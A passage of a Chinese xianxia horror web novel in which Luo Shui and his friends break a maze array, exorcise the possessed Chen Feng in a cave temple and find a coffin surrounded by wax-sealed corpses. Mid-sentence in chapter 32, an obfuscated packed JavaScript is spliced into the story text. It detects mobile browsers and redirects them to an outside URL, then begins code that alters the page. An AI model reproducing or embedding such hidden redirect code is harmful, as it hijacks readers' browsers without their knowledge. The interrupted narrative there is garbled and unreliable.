“这脚印虽乱,但是未有挣扎痕迹,陈枫也有功法傍身,若真遇险,定会打斗一番。再者,那脚印间距均匀,不像被迫,更像是熟人引他离去。”闻言,赵明和李浩露出佩服表情,但李浩思索了一番,仍有些不安:“枫少怎会在此偶遇熟人?莫非城主暗中遣人相助?” “如有援助,一开始便会跟着,怎可能半路才来。我更担心的是,那可能不是人。”洛水语气凝重,指着周围说:“此村风水布局甚异,昨夜落脚的村前驿站有一片芭蕉林,而村里有大量竹子和槐树交错生长。芭蕉,青竹,槐树,三者皆是阴气旺盛之物,正常断不会大量种植于村落周围。而村口对着芭蕉林,背靠山脉,周围辅以槐树竹子,便形成了阴邪不散之困局。陈枫靠近村子便频遇怪事,想来此地困局已成,阴邪之物借机引他入局。更何况,这还是一个被屠戮的废弃村子,邪气,妖气,怨气,我想不出什么比这还适合阴邪之物聚集的地方。” “顾先生你别说了,大白天的,说得我冷汗直冒。”赵明打了个冷颤。 “我们在村里未停留太久,赶紧追上去,应该不远。”洛水领头,三人往杂草丛生的后山小径疾行。后山的路并不算复杂,只是岔道多,跟着新鲜压弯草枝的痕迹,他们很快找到了一条隐蔽的小径。沿途,三人看到了两个坟包,还有着刚烧完的香烛和纸钱灰烬,洛水一下子就想到了阿水说她今日是来祭拜祖爷爷的,看来此处就是了。 “不会是阿水姑娘又折返回来,带着枫少往山上走了吧。”李浩看着坟包猜测道。 “追。”洛水不多言,快速继续往上,两人继续跟上。又走了一圈,三人穿过层层草丛,以为终于走到山顶时,一推开最后的草丛,三人被眼前景象惊吓到。两个坟包,以及一地的香烛纸钱灰烬。 “顾先生,这?”赵明最害怕,声音颤抖。李浩环顾四周,眉头紧锁:“我们明明是往上,一路行走也感觉在往上攀爬,这种感觉断不会错,但为何又回到了原地?” “这是鬼打墙。”洛水走到坟包前,捏起地上燃烧的灰烬,拿到鼻前一嗅,心中有了答案:“不过是人为的鬼打墙。” “什么叫人为的鬼打墙?” “通常的鬼打墙是遇鬼,被鬼身上的怨气影响而在原地转圈,但人为的鬼打墙则是利用地形和阵法,让人在原地打转。这里有人故意布置了迷阵干扰我们的感知,使我们陷入循环。我闻不到任何味道,说明我们已经陷入了阵法之中。”洛水举着手中的灰烬,冷静分析,李浩和赵明也凑上前闻了一下,确实燃烧后的焦糊味都消失无踪。 “那我们该如何破解?”赵明显然已经怕到了极致,说话声都带着点哭腔。洛水沉吟片刻,道:“需找到阵眼,破其核心。” “这里四周都是草,去哪里找呀?”李浩问道。 “有两种办法,一是慢慢寻找此处不合理的地方,阵眼一般都与此地之物极为不同,细心观察就能发现端倪。二是,强行破阵,也是我最喜欢的方法。” 洛水语音刚落,手中唤出冰沁刀,对着李赵二人说:“趴地上,别抬头。”两人闻言立刻把身子紧紧贴在了地上,洛水手腕一转,周身寒气骤起,不断地往冰沁刀内注入灵力,随之举刀击向天空,大喊道:“劈海·破天式!”一声巨响震耳欲聋,刀光从刀身迸发而出,无数道冰蓝色的光柱在天空上飞蹿。“破!”刀光瞬间应声而爆,周围的寒气更盛,隐约中听闻一声‘咔嚓’的碎裂声,远处的某棵树冒出一缕黄烟。 “好了,找到了。”洛水微微一笑,抽刀入鞘。李浩动作最快,三两下跑到那树下,随后爬上,掏了一会举着一个被烧穿了洞的鸟窝跑回来。“顾先生,真如你所说,真有东西!”李浩把鸟窝递上前,只见一枚翠绿色的宝石戒指被捣烂,碎在鸟窝中。 “这戒指果然和此地的东西极为不同,顾先生果真博学。只是刚才那招,好像是枫少练的劈海剑吧?但又好像不是,枫少那个没那么大威力。”赵明有些疑惑。 “是劈海剑,我稍稍改了一下,更适合我的灵力运用方式。好了,别废话了,赶紧继续追,已经被拖住一段时间了。”洛水更为担忧陈枫的安危,于情于理,他都是此次最不能出问题的人。 三人再次冲向山上,这一次,往山上的路只得一条,三人很快便到了顶。山顶之上,一座破败古庙赫然在目,红墙剥落,露出斑驳黄泥。庙宇构造简陋至极,仿佛是随意以泥抟筑而成。洛水眼神示意,李赵二人心领神会,祭出自己的法器在身前。 洛水抬头一瞧,只见庙门口挂着一个歪斜的牌子,褐色的烂木头上用黑色墨汁写着字,实在难以辨别写了什么,只能隐约辨别出一个‘神’字。洛水迈步上前,小心翼翼地推开庙门,一股陈腐的气息扑面而来。庙内昏暗,只有几缕阳光透过破败的屋顶洒下斑驳的光影。三人屏息,缓缓步入庙内,只见满地碎瓦残砾,光线昏暗,神像模糊不清,唯见一抹红盖头隐现其上。 神像也是用泥塑成的,外表没有任何装饰,显得粗糙而破败,如果不是能看出一个人形且盖着红盖头,几乎让人以为是一堆泥土。红盖头在微弱的光线下泛着诡异的光泽,洛水举起冰沁刀,稍稍倾斜刀身,挑起了红盖头的一角,露出红盖头下方的内容。 ‘至尊魔神’四个大字用黑墨书写在一张白纸上,这纸配着黑墨,格外刺眼,透着浓浓的不祥。 “这供奉的竟是邪魔靳洛水!”李浩在身后惊呼出声,洛水闻言,缓缓放下手中的红盖头,眉头不由自主地紧蹙起来。 赵明低声问道:“ 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李浩得意洋洋地扬起下巴,清了清因激动而略显干涩的嗓子,缓缓道来:“靳洛水,出身大齐皇室,身为二皇子,自幼便展现出惊人的天赋。他拜入天枢宗门下,成为天枢上仙仅有的两位亲传弟子之一,历经十年磨砺,筑基成功;又五年,金丹大成;及至弱冠之年,更是突破至元婴境界,被誉为千年难得一遇的修炼奇才。后因大齐国疯王祸世,九州生灵涂炭,各地藩王群起而攻之,靳洛水为救父亲疯□□然叛出天枢宗,与九州联军厮杀了一月有余,后在天枢上仙及另一亲传弟子凌曜天的联手围攻下,终因寡不敌众败下阵来。因靳洛水不顾天下生灵,执意救父,被天枢上仙化去其一身修为,逐出九州,永世不得踏入……” “等等,你说什么?凌曜天是靳洛水的同门师兄弟?”赵明忽然发问。 “对,是靳洛水的师弟,你别打断我说故事行不,有问题说完再问!”李浩白了赵明一眼,继续说道:“后不知怎的,靳洛水竟坠入魔道重获修为,再度现世时,靳洛水携他座下五行者重返九州掀起腥风血雨。当时正道与魔道可谓是打得天崩地裂,不可开交,生灵涂炭。靳洛水的五行者更是修为通天,行事狠辣,所到之处血流成河,尸横遍野……” “那五行者叫什么呀?”赵明还是没忍住,发了问,李浩拿起一旁的石子就甩到赵明身上,骂道:“你插什么嘴!你插什么嘴!” “分别是瘟疫行者邪见,色欲行者红莲,贪慕行者青衣行,暴戾行者桓茂,懒堕行者者也呼。”洛水蹲在一处角落不知在翻找什么,接上了赵明的问题。 “顾先生你不是不知道吗?”李浩停止攻击赵明,转身看向洛水问道。 “我不知道,但这里有写的。”洛水用手中冰沁刀挑开一块泥石,指了指那处,李赵两人凑近一看,泥身神像下方还有一块地方,同样用黄泥塑了五个小巧的人像,因为在低处,似乎没被风侵蚀,依稀可见其貌和贴在脑门上的白纸黑字。 “还真是,怎么这里那么怪,居然为邪神立庙。”赵明低声嘀咕。 “邪魔靳洛水猖獗的那些年,信徒众多,许多地方都为他立庙祭祀,香火不断,信徒遍布九州。甚至有些正道门派也暗中供奉,以求自保。想来这泥身神像便是那时所留,后来靳洛水被凌曜天斩于天外天,并将其断六根,封印于幽冥之渊,致其永世不得超生。之后九州各国就不许再立靳洛水的庙宇,违者皆以邪魔外道论处,庙宇尽毁,信徒亦遭驱逐。不过我也听说,一些捞偏财的,都会偷偷供奉靳洛水,毕竟邪神嘛,自是这些下作人的守护神。”李浩说完,得意地笑了笑。 “就这么完了?没啦?”赵明看起来有些气愤,李浩不明,反问:“完啦,不然你还想听什么?” “你说书有够烂的,怎么什么细节都没有啊!他怎么坠入魔道,又怎么成神,以及和凌曜天的事,就一笔带过啊?” “书里就这么写的呀,我去哪里找细节给你。哦,还有就是传说他死前曾发下毒誓,千年后必将重返九州,复仇雪恨。” “真是无趣,还好你不是那说书的老手,不然我真得天天带着兄弟们来掀你的摊子,你这说书的水平,简直是侮辱了听客们的耳朵!”赵明一脸怒意,顺手抄起一块泥石,狠狠地向李浩掷去,脸上满是鄙夷与不满。 “历史,向来都是由胜利者书写的,那些失败者,能在这浩瀚的书海中留下些许笔墨,已是莫大的造化了,你还想从那些残破不全的记载中,寻找什么细节?”洛水摇了摇头,停下了他那不厌其烦的观察。此时在庙内已转了足足五圈,此庙的蜘蛛网都被他找得差不多了,却没找到任何的其他痕迹,陈枫到底去了哪,此处已是山顶,还能去哪? “这庙就这么大,也没其他出口,是不是我们找错地了呀?” “不该啊,我们一路上来,也没瞧着有其他路,难道他们飞走了?” 李赵两人疑惑道,洛水不语,开始用冰沁刀在庙内四处敲击,当敲到神像身后的一块地砖时,声音从‘砰砰’变成了‘咚咚’,洛水眼神示意,李浩和赵明立即散到一旁,洛水一刀插入地砖,地砖应声而裂,露出一个黑洞洞的入口,寒气扑面而来。 31.三十一、吃饭 洞口幽深,细微的动作都能激起回音。洛水唤醒手中冰沁刀的光芒,幽蓝色的光芒照亮了前方的黑暗,隐约可见石阶向下延伸。三人小心翼翼地踏步而下,此处的空间像是一个密道,四周的墙只是简单地用木块撑起,看起来年代已有些久远,木块在泥土的重压下已出现了不少的龟裂和倒垮,看起来随时都有可能坍塌。但很快,泥土过道变得宽敞,迎面开始有风吹来,这意味着前面有着更广阔的空间。但前方一片漆黑,即便是冰沁刀那幽蓝的刀光,也只能勉强照亮前方几步之遥,他们只能凭借着微弱的光线和直觉,小心翼翼地摸索前行。 突然,前方传来一阵低沉的咳嗽声,三人顿时警觉,屏住呼吸,缓缓靠近。咳嗽声停下,随之而来的是咀嚼声,‘咔嚓咔嚓’‘吧嗒吧嗒’,从声音来听,这人的吃相着实不雅。声音越近,紧张的氛围越浓,前方吹来的风也更盛了些,带着一股霉味,以及一股檀香味。 “前面怎么有烧香的味道呀?”李浩的嗓子压得极低,只有洛水和赵明能听见。洛水也觉奇怪,困惑之际,已到了广阔的空间,此处空间极为宽阔,周围均是石壁,应该是后山里的天然石洞。三人进来时,咀嚼声还在响起,但此处没有亮光,黑暗中那咀嚼声显得格外清晰。 洛水拦下李浩和赵明,示意他们静候。随后,洛水唤出玉扇,朝着咀嚼声的方向甩去,玉扇扇面唤出一抹柔和白光,照亮了前方,只见一人背对着他们,正狼吞虎咽地吃着什么。那人浑身鲜红,初看以为是鲜血,细看却是赤色衣衫,衣衫上绣着龙凤二兽各衔着一个喜字,凑成一个大‘囍’字,这人穿的是婚嫁时的喜服。那人听到动静,缓缓转身,露出一张呆滞的脸。 “枫少!”李浩和赵明不约而同地大喊一声,激起阵阵回音。陈枫面如木雕,眼中迷茫一闪而过。手中的食物啪嗒落地,竟是香烛与檀香。他恍若未觉,低头拾起香烛,重复着咀嚼的动作,宛如机械。三人面面相觑,心中涌起一股寒意。洛水眉头紧锁,轻声示意李浩和赵明退后,自己则缓缓上前,试图与陈枫沟通。 “陈枫,陈枫。”洛水轻唤,声音中带着一丝试探。 陈枫的目光终于聚焦,眼中闪过一丝清明,但瞬间又恢复呆滞,口中喃喃自语:“吃饭,吃饭…”洛水心知不妙,缓缓伸出手,试图触碰陈枫的肩膀。就在指尖触及衣衫的瞬间,陈枫猛然抬头,眼中凶光毕露,发出一声低吼,满嘴的蜡烛和檀香喷溅而出,洛水快速用冰沁刀挡住攻击,随后玉扇起手,一下扇到了陈枫脸上,砸得陈枫连退数步,撞在石壁上。陈枫忽然咆哮,吼声在洞中回荡,震得三人耳膜生疼。吼声过后,陈枫瘫坐地上,眼神逐渐涣散。 洛水警惕地后退,李浩和赵明也紧随其后。洞内一片死寂,唯有陈枫那如同风箱般粗重的喘息声在回荡。三人小心翼翼地环顾四周,只见十数个盛满火油的火盆静静地摆放在角落,他们迅速掏出火信,轻轻一划,随着火苗的跳跃,石洞内的景象在昏黄的火光中逐渐显露。石壁上随处可见斑驳血迹,而此处被布置得极其诡异,四周都是红色帷幔,地上散落着破碎的喜帖和残烛。帷幔在微风中轻轻摇曳,投下斑驳的影子,如同一只只无形的眼睛,在黑暗中窥探着他们的一举一动。前方还有一方朱台,台上摆放着各式结婚时的用品,如红绸、金簪,显得格外刺眼。朱台中央,赫然挂着一个巨大的“囍”字,字迹鲜红如血,仿佛在诉说着某种不祥。 “先看看陈枫的情况。”洛水轻声吩咐,李赵二人迅速上前,小心翼翼地将陈枫扶起。陈枫身体瘫软,眼神空洞,口中仍喃喃自语,还在模糊地说着‘吃饭吃饭’。李浩轻拍陈枫脸颊,试图唤醒他,但毫无反应。 “顾先生,枫少他没反应。”李浩焦急地望向洛水,洛水再次看了四周一眼,确认无异后,蹲下身捏起陈枫的脸仔细观察,发现陈枫瞳孔上翻,口齿不清,气息微弱。 “他中邪了。”洛水沉声说道,李赵二人闻言,脸色骤变。 “那怎么办?有没有什么药能治,或者什么符烧了冲水给他喝?”赵明急切地问。洛水皱眉思索,缓缓道:“还记得我说过什么吗?中邪其实是鬼上身,也就是说,现在陈枫身上有一只鬼,吃药无效,必须驱鬼。”原本紧紧扶着陈枫的李浩和赵明,手一颤,脸色瞬间变得惊恐万分。 “那该怎么做?”李浩语气中带着一丝绝望。 “目前只有一个办法,只是这个办法,代价有点大。”李浩和赵明首次在洛水那向来从容不迫的脸上捕捉到了为难的神色。 “到底是什么办法!我们上刀山下火海也在所不辞!”李赵二人齐声喊道,眼中满是坚定。 “办法很简单,只是事后可能会影响你们和他的交情。”洛水看了一眼李赵二人,缓缓问道:“你们愿意为了救他,承受这份代价吗?” “愿意!”李赵二人毫不犹豫地回应,声音坚定而有力。 “好,那我问你们,你们都还是童子之身吧?”听到洛水的话,李浩和赵明先是惊愕地瞪大了眼睛,随后陷入一阵尴尬的沉默。他们对视一眼,脸颊迅速染上了红晕,最终还是缓缓点了点头。“那就好办了,随便找块布,用你们的尿浸上,然后塞他嘴里,就‘药到病除’了。” “顾先生,你不是在整我们吧!”李浩的脸红得像熟透的苹果,赵明也尴尬地低下头。洛水却神色严肃,语气坚定:“我从不拿人命玩笑,古法有云,童子尿乃至阳至刚之物,能破祟驱邪。鬼乃至阴至邪,两物相撞,邪不胜正,必能驱之。你们若想救他,就别犹豫。” 李赵二人看了洛水好一会,从他神情里只看到了‘认真’二字,李浩深吸一口气,咬了咬牙,转头对赵明说:“愣着干嘛,动手吧,枫少的命要紧。”赵明点头,两人虽尴尬,却也迅速行动,撕下身上的布料,找了个角落依言行事。 山洞本就空旷,两少年发出的声响被映衬得更加清晰了。待两人拿着一团湿润的布回来时,洛水已经拿地上香烛杆把陈枫嘴里的香烛残渣挖了出来,看到两人回来,又用手捏开陈枫的嘴,用眼神示意李赵二人动手。李浩深深吸了一口气,拿起湿布一下捂住了陈枫的嘴。 “不是用捂!用塞的!”洛水厉声喝道,李浩闻言,用力把布一塞,塞进了陈枫嘴里。一瞬间,陈枫开始浑身颤抖,手脚不受控制地挠着自己的身体,仿佛有什么东西被激怒要破体而出。陈枫的动作由最初的颤抖逐渐转为躁动,继而变得疯狂无比。洛水虽奋力抵抗,却难以遏制这突如其来的力量,陈枫猛然间用身体将洛水压向墙壁,发出‘彭’的一声巨响。李赵二人见状,忙上前帮忙,死死按住陈枫四肢。但效果不佳,两人也被掀飞出去。 “快!找两个类似筷子的东西,夹他中指!”洛水快速呼喊,李赵两人闻言赶忙在原地寻找起来,很快,赵明就在朱台上发现了好几双红色的筷子,赶忙拿起一双冲向陈枫。 “怎么夹?”赵明望着癫狂的陈枫,急得手忙脚乱。 “一夹一转,快!”洛水被紧压在墙上,陈枫的力量愈发沉重,压得他声音微弱。 “李浩!抓住他的手!我夹不中!”赵明大喊,李浩闻言立即翻身死死抱住陈枫的一只手,赵明眼疾手快,筷子一伸,一夹一转,陈枫的疯狂瞬间停止,陈枫在原地挺身,四肢摊开,紧接着,‘呕’的一声,黑色液体从他喉中喷射而出。随后四肢一软,跪趴在地,继续呕吐。 足足吐了半柱香的时间,陈枫才停止。随后身子一歪,倒在了旁边。剩余的李赵两人面面相觑,又看向洛水,只见洛水的肩膀处竟冒出了血红,刚才的撞击让洛水撞到了凸出的石块上,肩膀被划了一个大口子。 “顾先生,你没事吧?”李浩关切地问。洛水摇头示意无恙,眼神依旧冷静:“先查看陈枫。”赵明蹲下身子,探了探陈枫的鼻息,松了口气:“还活着。”三人相视一眼,心中稍定。 “小心些,他没事就说明他身上的鬼出来了,可别像陈枫一样着了鬼的道,不然还得喂你们童子尿。”洛水的话让两少年又害羞又害怕,看着昏迷的陈枫,表情怪异。随后洛水缓缓站起身,拍去身上的尘土,从储物袋掏出一道符箓,直接贴到了伤口上,伤口的血瞬间止住。 李浩和赵明合力将陈枫拖到一旁,轻轻放下。洛水环顾四周,警惕地检查有无异动,但周围一切安静如旧。过了一会,陈枫忽然睁开眼睛,眼神迷茫,缓缓坐起,轻声问道:“发生了什么?这算是哪里?”李浩隐藏了部分细节,简要叙述了经过,陈枫听后满脸的不可思议:“我…我怎么会这样?”陈枫摸着额头,记忆模糊。 “你在村子里到底碰到谁了?”洛水语气不善地发问。陈枫愣了愣,努力回想,眉头紧锁:“我只记得我好像看到一个人影,刚想追上去,然后就什么也不记得了。”陈枫摇摇头,脸色苍白,洛水眉头紧锁,低声沉吟道:“看来,你是中了某种迷魂术。” “枫少这也太波折了,怎么从进村开始就一直撞见这些东西。”赵明叹了口气,拍拍陈枫肩膀:“枫少受委屈了。” “委屈什么,我又没怎么样。”陈枫说完站起来,才发现自己身着一身艳丽的新郎服,不禁愣住:“这…这又是怎么回事?我的嘴里怎么又咸又骚的?” “不知道,来到这里时你已经换上这套衣服了。”李浩红着脸耸肩,无奈道:“或许是抓你那人的某种癖好吧。” “好了,别闲聊了,此地甚是怪异,先回村再说。”洛水刚起身,只听见‘轰隆’声频频爆起,地面震动,尘土飞扬,四周的石块纷纷滚落。来时的通道喷出一股黄色浓烟,洛水脸色骤变,低喝道:“快退!”三人迅速后撤,躲避滚落的石块。黄色浓烟迅速弥漫,空气中弥漫着刺鼻的气味。赵明捂住口鼻,李浩扶着陈枫,洛水眼神锐利,四处寻找逃生路径。震动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164103|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈发剧烈,仿佛地心在咆哮。震倒在地的火盆连着火油,烧了大半的场地,也把朱台后方一片未知的广阔空间显露出来,洛水眼疾手快,一把拽住身旁一人的衣领,四人如同一条紧绷的链,迅速向那片空间拖拽而去。 朱台后方空间庞大,但火光已被浓烟遮蔽,完全看不清具体情况。洛水朦胧中,只见前方似有一门,快速拽着三人冲向那道门,洛水用力一推,门应声而开,露出一条幽暗通道。四人迅速进入,门在身后自动关闭。 通道内寂静无声,只有微弱的光线从尽头透来。赵明转身锤了锤关闭的门,发现已然无法再打开,心中一沉。洛水轻声安抚:“别慌,先往前走,船到桥头自然直。”四人小心翼翼地沿着通道前行,这一通道十分简短,没一会光线逐渐明亮,露出一个宽敞的空间。此处空间更是怪异,四四方方,发出光亮的蜡烛被放置于四个墙角,光亮微弱,照不到中间的地方,只觉中间停了一个什么物体,也是四四方方的。 “中间有东西。”赵明提醒,这一路走来,见到的东西已经够多够奇怪了,现下几人只觉疲惫,恐惧已消去不少。 “别去,这地方的布局有问题。”洛水出言提醒,三人顿住脚步,目光警惕地环顾四周。 “有什么问题?”陈枫看了许久,只觉此地除了安静,看不出任何不妥。 “我不知道,只觉很不妥。”洛水并非逗笑,这是一种经验赋予的危险感知,洛水看着四周微弱亮光的蜡烛,以及中间四方的物件,心中生出一股难以名状的寒意。 “哎,你们看上面,好奇怪哦,好多红线!”赵明指着头顶,只见纵横交错的红色细线密布天花板,宛如一张巨大的蜘蛛网。红线之上还穿着无数铜钱,不知哪来的气流滑过,红线上的铜钱轻轻摇曳,发出微弱的叮当声。洛水抬手一刀,割断几根红线,铜钱纷纷落下,叮当作响。捻起一枚凑近眼前细看,‘大齐通宝’四字清晰可见。 “又是大齐通宝?这村子怎能弄来那么多珍贵的大齐古币?”李浩说着,收拾起地上的铜钱,装了一把进口袋。 “样子虽是大齐通宝,但这些是近些年新筑的,你瞧,这币坚硬锃亮,两千多年的古币怎会有这个质感。”洛水捏着钱币仔细端详,手指搓了几下:“这币应该是用于某种仪式的。” “什么仪式?啥仪式这么花钱,你瞧这天花板的红绳,多得都遮住顶了,每一条绳都挂那么多钱,私造的币无法流通使用,这里边要用到的黄铜可不少,蓬莱城不产铜矿,还得是从别的地方运来,这要花的钱就更多了。”陈枫也拿起一枚铜币瞧了起来,忽然想起了什么:“这会不会是驱邪用的啊?听说民间丧葬,会摆放几枚铜钱于棺内,用以贿赂鬼差,黄泉路上多担待。后来这习俗又演变成带铜钱在身,可驱邪避鬼,所以村里的小孩都喜欢用红绳穿铜钱佩戴在身上。” “如若红绳加铜钱是为了驱邪,那这个邪祟是有多强,竟要用如此多的红绳和铜币镇压。”赵明打了个寒颤,低声道:“咱们还是小心为上,别触碰太多东西,邪门。”说完打了李浩一拳,对他还在捡铜币的行为表示不满。 “陈枫说的有些道理,但我觉得可能要逆转来看。”洛水举着钱币说道:“大齐皇帝疯魔,皇子入魔,招致灭国之灾,这怎么看都是不祥之事,用一个史书上被人唾骂被人嫌弃的国家钱币,想来不是求平安的吧。而山顶还立着靳洛水的庙,或许这仪式并非驱邪,而是为了招引某些不祥之物。” “用大齐的铜币能招什么东西?我怎么从来没听说过?”李浩闻言脸色一变,把放进兜里的铜币又拿了出来撒到地上。 “并非铜币本身能招来什么,而是它作为引子,能影响人的思维,进而改变灵气的流动。修真者可以随意调动周围的灵力为己所用,但普通人却不行,只能借助某些媒介扩大自身与灵力的感应。我举一例,为什么寻常百姓会觉得芭蕉容易招鬼?并非芭蕉天生招鬼,而是芭蕉性寒,所结果实食用后,会有拉泄之效。百姓深信,排泄之后体感寒颤,力乏神疲,皆因阳气外泄所致,故而断言芭蕉能吸阳补阴,阴盛则鬼魅易至。此念一旦深入人心,便成共识,进而扰动天地灵气之流转。而灵气和怨气本为一体,当人的思维不自觉地把怨气引向芭蕉时,怨气便会在芭蕉周围聚集,鬼本身就依靠怨气而存,哪里怨气多便聚集在哪,久而久之,芭蕉便成了招鬼之物。”洛水的一番话让众人陷入思考,赵明和陈枫则听得开始挠头皮,如同在听天书一般。 “我明白了!所以用大齐铜币和靳洛水做引,是借助人们对大齐和靳洛水的恐惧和不祥印象,引发怨气聚集,从而达到某种目的!”李浩恍然大悟,洛水带着欣慰的神情点了点头。 “那到底是为了达到什么目的?”陈枫挠着头皮疑惑地问。 “那就要看看这中间的东西是什么了?”洛水指了指隐没在中间的方块体。 32.三十二、成亲(一) 除洛水外的三人,听到此话,默默地咽了一口唾沫。此处的氛围很难让人提起任何的好奇心,只能让人心生畏惧。洛水提着冰沁刀率先上前,越往中间走去,发现地面越发黏腻滑溜,低头一瞧,融化的红色蜡液如同菌丝般缠绕在地面,并渐渐汇聚成一摊血红的池沼,越往里蜡液越厚,路也越难走,每踏一步,就能听见‘吱’一声,然后是‘叭’一声,随着步伐的起落,这‘吱’‘叭’二声来回不断,在安静的空间里,显得又滑稽,又诡异。 “你们闻到了吗?这蜡烛好香啊,有一股菜籽油的味道?”李浩动了动鼻尖,赵明用力嗅了一口,反驳道:“明明是猪油味!菜籽油哪有这么浓的荤味。” 洛水轻声提醒:“小心,这蜡烛之中掺杂了人的油脂,闻多了会发昏晕厥的。”他的话音一出,李浩立刻缩了缩脖子,赵明吓得一个踉跄,险些滑入那血红蜡液之中。陈枫急忙伸手扶住了他,紧张的气氛在几人之间蔓延。 洛水屏息凝视,眼见那方块体逐渐清晰,再往前一瞧,那方块体竟是一口棺材。这棺材着实诡异,四方棺材的四角刻着异兽,个个张牙舞爪,露出狰狞的面容,瞧不出其来历,但与四周的诡异装饰似乎有着千丝万缕的联系。棺材除棺盖外,棺体不难看出是一块完整巨石雕刻而成,其表面光滑如镜,边缘却锋利如同刀刃。 而那些蜡烛粘连着棺材的下方,乍一看,棺材与红烛混为一体,宛如一条血色河流从棺材底流淌而出。棺体表面竟隐约映出在场众人的扭曲倒影,平添了几分诡异与森寒。 “这是什么棺材啊?怎么有这么奇怪的?”李浩说着,有些好奇地想去摸一下棺材的镜面,立刻被洛水伸手拦下,呵斥道:“不要命啦,竟敢直接用手去碰。”被呵斥的李浩有些不好意思别过头,瞬间,他的脸色变得如同白纸,僵硬地扭转过头,压低声音对洛水道:“有人……” 李浩的声音引得众人一齐看向他刚才所看的地方,一下子,所有人的汗毛都立了起来。只见棺材的另一侧,出现了一个人影,不言不语,只静静地在那,从姿势来看,应该是坐着。那人几乎与周围的阴影融为一体,极难看清他的具体面容。 “那里,也有人……”这次轮到了赵明,众人又朝着他说的方向看去,确实,另一侧也有人,除了洛水一行人走来的那一侧,这四周都有人。随着眼睛渐渐适应了黑暗,隐约之中还能看到,人身后还有人,粗略一数,也有十几二十人。这些人清一色地坐着不动,面朝着棺材。 洛水调转方向,往人走去,后面的三位少年,满头冷汗,表情狰狞,实在是不想跟上洛水的脚步,但更害怕留在这和棺材面对面,最后也只能硬着头皮,无奈地继续踩着人油红烛向人影走去。 路途不远,只一会便到了。眼见洛水一行人越靠越近,那坐着的人还是没有动,只安静地坐着。洛水手中冰沁刀举到那人头部处,身后三人差点没压住胸口里汹涌而出的恐惧感。那是一尊被厚蜡封住的人,白色的蜡厚厚地裹在人体身上,有些发黄,有些地方发霉,外头是一层灰,但还是能看到蜡后之人的表情。 ‘狰狞的笑’是最贴切的形容,那人的笑容极为灿烂,灿烂到,嘴角都裂开,歪向了太阳穴。他睁着的眼睛,睁得眼珠几乎就要跳脱出眼眶了。此人肤色惨白,白得有些发灰泛蓝,明显的死人肤色。洛水再凑近看,只见那人的眼和嘴,被黑色的丝线勒着,之所以能保持狰狞的笑,正是用黑线皮贴着皮缝合固定的结果。洛水拿着冰沁刀又看了位于其他位置的人,除了样貌不一样以外,其他的一切完全相同。 洛水站在蜡人的位置转身,只觉面前的棺材和漫天的红绳以及地上的人油红烛交织成了一幅诡异的图案,既喜庆又阴森。很快,洛水注意到,棺材旁也有一张朱台,也摆着不少的物件。其中最显眼的是一张红纸,这张红纸被立在一堆干瘪腐臭的食品之中,洛水走近拿起红纸一瞧,只见上面写着: 今兹良辰吉日,天赐良缘, 裴千秋 秦拾月 缘定三生,愿携手共度此生,白头到老。 “裴千秋?好眼熟的名字。”身后三人凑近洛水身旁看着那份婚书,赵明率先说道:“总觉得在哪个话本子听过一样。” “肯定听过啊,蓬莱城发生过的大事就那么几件,裴千秋就是其中一件。”李浩撞了撞陈枫,说道:“枫少,这人曾是蓬莱城的心腹大患,你也知道吧?” “这是那个裴秋千吗?”陈枫皱着眉问道。 “我说的就是那个裴千秋,但这婚书上的是不是,我就不得而知了。”李浩又看了一眼婚书下方的婚礼时间,皱了皱眉头,说道:“好像不是我们所认识的那个裴千秋,这婚书时间是十年前,裴千秋到如今,死了少说也有六十年了。” “你们到底在说什么?什么这个那个的裴千秋?”洛水放下手中婚书回头问道。 “忘了顾先生不是蓬莱城人士了,我们说的裴千秋,就是六十年前祸乱蓬莱城的绿林悍匪,人称‘百鬼郎君’的裴千秋。自从蓬莱城出资在各地建村后,引来了不少九州各地的游民,自然也会引来一些流寇。听闻这裴千秋是曾经在瑶光国流窜的海盗,后被瑶光国修士联合追杀,不得已逃到了瑶光国隔壁的蓬莱城。后来他扎于山头,招兵买马,逐渐壮大,成为当地的一大祸害。”李浩刚说到一半,赵明立刻打断,兴奋地说:“这话本子我熟!我熟!我都听多少遍了,顾先生我来说,李浩说话本子可太差劲了,一会又得漏了不少细节。” “行行行,给你说,给你说,我的赵大说书人。”李浩白了一眼,退开位置让赵明上前。赵明清了清嗓子,有模有样地学着说书人的腔调开始说: 此人修为颇深,他还没自立山头时,便是靠着一招‘撒豆成鬼’劫了蓬莱城官银十数万辆。据与裴千秋对峙的官兵事后回忆,此人动手前,悄然从口袋中掏出一把黑色豆状物体,轻轻一扬,那些豆子瞬间化为阴森可怖的鬼兵,与他们展开了激烈的刀光剑影之战。那鬼兵不仅数量众多,战力亦是相当惊人。它们不惧刀剑,不畏水火,不死不灭,甚至还能用些低端术法,使得官兵束手无策。另外,裴千秋长得唇红齿白面容俊秀,这也使得大家都叫他‘百鬼郎君’。 裴千秋自立山头后,更是四处横行,他不仅在山林间设下重重机关,还动用各种邪恶鬼术,让他的山头变成真正的鬼蜮。每当夜幕降临,山林间便鬼哭狼嚎,阴风阵阵,百鬼夜行,好端端的山头被弄成了乱葬岗一般。而且此人住所从不固定,时常变换,让追捕者难以捉摸其踪迹。 裴千秋不仅劫官银,也劫商贾,甚至偶尔还会对一些无辜百姓下手,只要打得过,他从不留活口,不管是不是妇孺,一律杀之。其行径凶残,声名狼藉,成了那时蓬莱城一带人们心中挥之不去的梦魇。裴千秋还喜欢广纳贼寇,他对于亲信手下颇为慷慨,抢来的金银财宝随便分发,因此九州各地不少亡命之徒纷纷赶来,甘愿跟随。最终,裴千秋几乎要做到与蓬莱城平起平坐,直到六十年前。 